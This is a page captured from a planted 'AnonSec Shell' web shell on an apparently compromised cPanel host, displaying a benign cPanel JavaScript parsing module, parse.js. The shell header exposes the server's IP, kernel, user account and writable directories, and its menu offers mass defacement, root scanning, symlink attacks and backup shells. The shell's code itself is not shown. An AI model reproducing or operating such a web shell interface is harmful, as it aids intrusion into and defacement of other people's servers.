AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/2388322/task/2388322/cwd/webmail/jupiter/libraries/cjt2/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2388322/task/2388322/cwd/webmail/jupiter/libraries/cjt2/util/parse.js
/*
# cjt/util/parse.js                               Copyright(c) 2020 cPanel, L.L.C.
#                                                           All rights reserved.
# [email protected]                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
*/

/* --------------------------*/
/* DEFINE GLOBALS FOR LINT
/*--------------------------*/
/* global define: false     */
/* --------------------------*/

// TODO: Add tests for these

/**
 *
 * @module cjt/util/parse
 * @example
 *
 */
define(["lodash"], function(_) {
    "use strict";


    var booleanMap = {
        "no": false,
        "false": false,
        "yes": true,
        "true": true,
        "1": true,
        "0": false
    };

    function _parseBoolean( string ) {
        if (_.isUndefined(string) || _.isNull(string)) {
            return false;
        }

        string = (string + "").toLowerCase();
        return ( string in booleanMap && booleanMap.hasOwnProperty(string)) ? booleanMap[ string ] : !!string;
    }

    /**
     * Utility module for parsing various string representation into native types.
     *
     * @static
     * @public
     * @class parse
     */
    var parse = {

        /**
         * Parse a boolean using the lookup system.
         * @param  {String} string Input string to evaluate.
         * @return {Boolean}       true or false.
         */
        parseBoolean: _parseBoolean,

        /**
         * Parse a perl generated boolean.
         * @param  {String} string Input string to evaluate.
         * @return {Boolean}       true or false.
         */
        parsePerlBoolean: function( string ) {
            if (_.isUndefined(string) || _.isNull(string)) {
                return false;
            }

            if (string === "") {
                return false;
            }

            return _parseBoolean(string);
        },

        /**
         * Parse a string into a number
         * @param  {String} string       Input string to evaluate
         * @param  {Number} defaultValue Default value to use if the string is undefined, null, empty or NaN.
         * @return {Number}
         */
        parseNumber: function(string, defaultValue) {
            if (_.isUndefined(string) || _.isNull(string) || string === "") {
                return defaultValue;
            }

            var number = Number(string);
            if (isNaN(number)) {
                return defaultValue;
            }

            return number;
        },

        /**
         * Parse a string into a integer
         * @param  {String} string       Input string to evaluate
         * @param  {Number} defaultValue Default value to use if the string is undefined, null, empty or NaN.
         * @param  {Number} [base]       Optional base for the parsing. Defaults to 10.
         * @return {Number}
         */
        parseInteger: function(string, defaultValue, base) {
            if (!base) {
                base = 10;
            }

            if (_.isUndefined(string) || _.isNull(string) || string === "") {
                return defaultValue;
            }

            var number = parseInt(string, 10);
            if (isNaN(number)) {
                return defaultValue;
            }

            return number;
        }
    };

    return parse;
});

Anon7 - 2022
AnonSec Team